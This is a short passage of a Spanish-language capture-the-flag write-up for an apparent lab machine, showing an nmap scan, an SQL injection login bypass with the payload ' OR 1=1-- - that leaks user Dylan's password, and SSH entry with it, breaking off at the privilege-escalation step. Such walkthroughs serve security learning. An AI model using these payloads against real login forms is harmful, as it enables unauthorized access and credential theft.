Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-02 05:11 EST
Nmap scan report for 172.17.0.2
Host is up (0.000034s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 72:1f:e1:92:70:3f:21:a2:0a:c6:a6:0e:b8:a2:aa:d5 (ECDSA)
|_ 256 8f:3a:cd:fc:03:26:ad:49:4a:6c:a1:89:39:f9:7c:22 (ED25519)
80/tcp open http Apache httpd 2.4.52 ((Ubuntu))
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-title: Iniciar Sesi\xC3\xB3n
|_http-server-header: Apache/2.4.52 (Ubuntu)
MAC Address: 02:42:AC:11:00:02 (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.82 seconds
Si entramos en la pagina vemos un login, pero si probamos las credenciales por defecto veremos que no nos va a dejar entrar, vamos a probar algun payload para ver si fuera vulnerable a un SQL Injection:
User: ' OR 1=1-- -
Pass: ' OR 1=1-- -
Como resultado veremos lo siguiente:
Bienvenido Dylan! Has insertado correctamente tu contraseña: KJSDFG789FGSDF78
Vemos que directamente podremos bypassear el login y ver las credenciales de un usuario, por lo que haremos lo siguiente.
ssh dylan@<IP>
Metemos como contarseña KJSDFG789FGSDF78 y veremos que estamos dentro.
Escalate Privileges
Si listamos los permisos SUID que tenemos, veremos lo siguiente: